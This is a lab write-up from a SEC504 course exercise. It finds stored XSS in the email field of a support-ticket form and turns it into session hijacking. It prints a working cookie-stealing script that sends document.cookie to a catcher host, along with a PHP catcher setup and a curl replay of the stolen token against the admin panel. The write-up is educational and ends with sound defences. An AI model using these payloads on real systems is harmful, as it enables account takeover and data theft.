SEC504 - Hacker Tools, Techniques, and Incident Handling
Stored XSS to Session Hijacking
Solo, Lab
Focus: Web Application Security
Level: SEC504
Date: Jul 2026
Artifacts: Sanitized browser, PHP cookie-catcher, and admin-panel output from the SEC504 web lab against support.falsimentis.com
TL;DR
- •Per-field probing with <hr> found the email field unescaped while the name field was correctly encoded
- •A cookie-stealer payload logged a second victim (the SME analyst), confirming stored XSS
- •Replaying the stolen authtoken with curl -b reached the admin panel and its ticket queue
Skills demonstrated
Note: Course-provided PCAPs and lab instructions are not shared. Only my own captures and sanitized notes are published.
Why this matters
The impact of XSS is not the alert box; it is the second IP in the cookie log, an analyst whose session was hijacked just by viewing a ticket. Stored XSS is especially dangerous because it fires against whoever opens the record, including staff with more privilege than the attacker. The per-field lesson is one I apply directly in reviews: output encoding is applied inconsistently far more often than it is applied nowhere, so every field must be tested, not just the obvious one.
Context
This lab finds a stored cross-site scripting flaw in a support-ticket form, weaponizes it into a cookie stealer, and uses the stolen session token to reach an admin panel. The instructive part is the per-field testing: the same form escapes one field and not another, so the vulnerability is only found by probing every input, and the real impact is a second victim, not an alert box.
Tools used
Steps taken
1Map the reflected fields
The /contact form (name, email, company, file, message) echoes its values on a 'Thanks' confirmation page. Any echoed field is a candidate sink for XSS, so the first step is just to see what comes back.
$ # submit /contact with test values and read the confirmationEchoed fields are the XSS candidates to probe2Probe each field with <hr>
Submitting Lorezo<hr> in the name field rendered the literal text (escaped, safe). The same <hr> in the email field rendered an actual horizontal rule (unescaped, injectable). Same form, same page, different encoding per field: this is why every input must be tested.
$ # name: Lorezo<hr> -> rendered as text (escaped)
$ # email: lorenzo@gmail.com<hr> -> rendered as a rule (injectable)<hr> is a harmless, unmistakable proberule = injectable3Confirm script execution
With the email field confirmed injectable, lorenzo@gmail.com<script>alert(1)</script> produced an alert box from support.falsimentis.com. XSS confirmed; now to weaponize it into something with real impact.
$ # email: lorenzo@gmail.com<script>alert(1)</script>alert(1) executing proves script injection, not just HTML injection4Stand up a cookie-catcher
A small PHP script logged incoming GET parameters and headers to cookies.log, served with the PHP built-in server on 8080. This is the endpoint the injected script will send victims' cookies to.
$ cat index.php # file_put_contents("cookies.log", ...GET...headers...)
$ php -S 0.0.0.0:8080php -S serves the catcher; it appends every request to cookies.log5Inject the cookie stealer and catch a second victim
The payload redirected the victim's browser to the catcher with their cookie appended: <script>document.location="http://10.10.75.1:8080/?"+document.cookie</script>. The log showed two hits: the tester's own browser, and minutes later a different internal IP (172.30.0.201), the SME analyst who opened the ticket. That second IP is what makes this stored XSS.
$ # email field payload:
$ # <script>document.location="http://10.10.75.1:8080/?"+document.cookie</script>The analyst's browser fires the payload on viewing the ticket6Hijack the session
The admin panel was a troll page when unauthenticated, but curl with the stolen authtoken cookie (-b) returned the real admin interface: a ticket queue where users had typed their own usernames and passwords into support requests. The stolen session became privileged access.
$ curl http://support.falsimentis.com/admin/
$ curl http://support.falsimentis.com/admin/ -b authtoken=77ba9cd915c8e359d9733edcfe9c61e5aca92afb-b sends the stolen cookie; the panel now authorizes the requestKey findings
Outcome / Lessons learned
Found a stored XSS in a support-ticket form through per-field probing, weaponized it into a cookie stealer that captured an SME analyst's session, and replayed that token to reach an admin panel exposing credentials users had typed into tickets. The impact was a hijacked staff session, not an alert box.
Apply context-aware output encoding on every field, not selectively, and add a Content-Security-Policy that blocks inline script and external exfiltration destinations. Set session cookies HttpOnly so document.cookie cannot read them, and SameSite/Secure to limit replay. Train users and templates so passwords are never entered into ticket bodies, and scan ticket content for credential patterns. Test every input for XSS in QA, since the flaw here was inconsistent, not absent, encoding.
Security controls relevant
- Consistent context-aware output encoding on all fields
- Content-Security-Policy blocking inline script and exfil hosts
- HttpOnly / SameSite / Secure session cookies
- Credential-pattern scanning of user-submitted content
- XSS test coverage across every input in QA
What I took away from this
The real impact of XSS is the second IP in the log. An alert box proves execution but persuades no one; a captured analyst session, fired simply because staff opened a ticket, shows what stored XSS actually does. It reaches anyone who views the record, and in a support tool that means employees with more access than the attacker started with. Framing the finding around the hijacked session, not the popup, is what makes it land.
Encoding is usually inconsistent, not absent, and that is the trap. The same form escaped the name field and forgot the email field, so testing only the obvious input would have missed the bug entirely. In a review, every reflected or stored field is its own test case, because a single forgotten sink is all stored XSS needs. HttpOnly cookies and a strict CSP would have neutralized the weaponization even with the injection present, which is why defense in depth matters here.